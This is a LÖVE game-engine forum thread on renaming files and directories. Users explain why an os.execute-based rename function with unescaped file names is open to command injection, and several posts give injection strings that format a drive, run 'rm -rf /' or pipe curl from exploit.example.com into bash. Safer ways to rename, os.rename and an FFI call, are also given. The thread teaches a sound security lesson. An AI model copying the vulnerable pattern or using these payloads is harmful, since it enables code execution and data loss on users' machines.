How to rename dir / move file?

Questions about the LÖVE API, installing LÖVE and other support related questions go here.
Forum rules
Before you make a thread asking for help, read this.
AndreyMust19
Prole
Posts: 21
Joined: Thu Mar 06, 2014 3:00 pm

How to rename dir / move file?

Post by AndreyMust19 »

Not exist this functions in API. Just creating new directory and recursive recreating all files and directories, then delete old folder?
User avatar
undef
Party member
Posts: 438
Joined: Mon Jun 10, 2013 3:09 pm
Location: Berlin
Contact:

Re: How to rename dir / move file?

Post by undef »

Unfortunately there's no function to rename files in LÖVE :/
I wish there was...
twitter | steam | indieDB

Check out quadrant on Steam!
User avatar
Kadoba
Party member
Posts: 399
Joined: Mon Jan 10, 2011 8:25 am
Location: Oklahoma

Re: How to rename dir / move file?

Post by Kadoba »

You can use os.execute() but it's a little crude and obviously platform dependent.

Here's a quick example. Only tested on Windows and doesn't return any meaningful errors.

Code: Select all

-- Renames a save directory folder/file. 
function renameFile( old, new )

    local dir = love.filesystem.getSaveDirectory()
    local command = love.system.getOS() == "Windows" and "ren" or "mv"
    local err = os.execute( table.concat( {command, " \"", dir, "\\", old, "\" \"", new, "\""} ) )
    return err == 0 and true or false
    
end
User avatar
Robin
The Omniscient
Posts: 6506
Joined: Fri Feb 20, 2009 4:29 pm
Location: The Netherlands
Contact:

Re: How to rename dir / move file?

Post by Robin »

Kadoba wrote:You can use os.execute() but it's a little crude and obviously platform dependent.
Not to mention terribly insecure. I can think of three ways to abuse that, as an attacker, and I'm not even really trying (nor an expert at finding exploits).

Please, no-one use this.
Help us help you: attach a .love.
User avatar
Kadoba
Party member
Posts: 399
Joined: Mon Jan 10, 2011 8:25 am
Location: Oklahoma

Re: How to rename dir / move file?

Post by Kadoba »

In that case, can you explain so I don't make this mistake again?
User avatar
Robin
The Omniscient
Posts: 6506
Joined: Fri Feb 20, 2009 4:29 pm
Location: The Netherlands
Contact:

Re: How to rename dir / move file?

Post by Robin »

The thing is, os.execute is like the keys to the kingdom, and when you hand someone those, you can't really say "only come in Mondays and Tuesdays, and don't steal anything while you're in".

In this specific case, one thing I could do is:

Code: Select all

renameFile('oldfile', 'newfile"; format "C:\')
Gone is your hard drive. And I could do anything there: make your computer part of a botnet, upload everything in your POETRY\PERSONAL\DRAFTS\ABOUT_MEGAN\ folder to 4chan. Anything. And this is far from the only way to do something like this, it's just the first thing that I came up with. Stuff like this is called code injection.

renameFile is now an unsafe function. In the vast majority of cases it'll be used in a way that isn't dangerous (hard-coded constants, filenames that already exist in the filesystem, etc), but there will be people who will use your function and not realise they just sold out their players to everyone with bad intentions and an internet connection.

---

This is why I made SELÖVE in the first place. By disallowing access to functionality like os.execute, it prevents things like this from ever being a problem.
Help us help you: attach a .love.
nobody
Prole
Posts: 3
Joined: Wed Aug 27, 2014 7:57 pm

Re: How to rename dir / move file?

Post by nobody »

Kadoba wrote:In that case, can you explain so I don't make this mistake again?
(unixoid examples only:)

simplified core of that example code:

Code: Select all

os.execute( table.concat( {command, " \"", old, "\" \"", new, "\""} ) )
or (equally bad but more readable):

Code: Select all

os.execute( string.format( [[mv "%s" "%s"]], old, new )
For old='foo', new='bar', the executed command will be 'mv "foo" "bar"', which will work.

For old='foo\', new='bar', the command will be 'mv "foo\" "bar"' and the shell might complain about unmatched quotes – the filenames as understood by mv would be 'foo\" ' and 'bar' (plus the problem with that unmatched quote at the end.)

For old='foo', new='bar$(curl exploit.example.com|bash|:;)"', the executed commands(!) will be to get something from exploit.example.com and execute it and then to move "foo" to "bar" (so you don't notice it's broken).

Many variations exist and many problems can be triggered accidentally – there are many special characters that a shell will interpret: $ for variables or even $( ... ) for execution of programs, semicolons, backslashes (which can break your quotes), possibly & and/or % for job control, etc. etc. – and Lua's "%q" format will NOT escape these. Keep in mind that there are various differences between bash (or whatever shell happens to be in use) and Windows' cmd. And if you forget just a single magic character (or even just escape the wrong character in the wrong way) and use this with a somehow user-influenced file name, anything can happen.

Now, this shouldn't be that bad here – the user will usually not attempt to hack itself, running those things directly instead is easier. ;-) The worst that will likely happen is "merely" hard-to-debug / unreproducible errors occuring for some users (whose file names happen to contain special characters). (If your user name is '"eve&rm -rf /;:" or somesuch and you're prefixing the (unescaped) full path to some directory, this might wipe your disk… but of course peoples user names are absolutely always whitespace- and symbol-free. Not.)

However, if that broken function is accessible from otherwise-sandboxed downloadable level packs or somesuch, this can lead to lots of fun and not-so-sandboxed level packs that read your email etc.

TL;DR: Just avoid this can of worms altogether and use a proper rename function. And if you think you can write a proper escaping function, you're probably wrong. (But you'll only find out when it blows up.)

----------

A better way would be to use LuaJIT's FFI to call the system's rename (which might be platform-dependent, no idea how that works on Windows.)

Code: Select all

local ffi = require "ffi"
ffi.cdef [[ int rename( const char * old, const char * new ); ]]
-- now you can call ffi.C.rename, example:
ffi.C.rename( "foo", "bar" )    -- no extra escaping needed
----------

An even better way would be to have a built-in rename so you don't have to worry about platform differences.
User avatar
slime
Solid Snayke
Posts: 3162
Joined: Mon Aug 23, 2010 6:45 am
Location: Nova Scotia, Canada
Contact:

Re: How to rename dir / move file?

Post by slime »

Lua's os module has the os.rename function (which takes platform-dependent full paths, unlike love.filesystem functions.)

love.filesystem doesn't have a rename function because it uses the PhysFS library as a backend, which doesn't include that functionality.
AndreyMust19
Prole
Posts: 21
Joined: Thu Mar 06, 2014 3:00 pm

Re: How to rename dir / move file?

Post by AndreyMust19 »

slime
os.rename
Thx, i try it. I think need close all opened files in that directory before?
User avatar
Jasoco
Inner party member
Posts: 3726
Joined: Mon Jun 22, 2009 9:35 am
Location: Pennsylvania, USA
Contact:

Re: How to rename dir / move file?

Post by Jasoco »

Please, tell us more about Megan, Robin.
Post Reply

Who is online

Users browsing this forum: Ahrefs [Bot], Amazon [Bot], Google [Bot] and 3 guests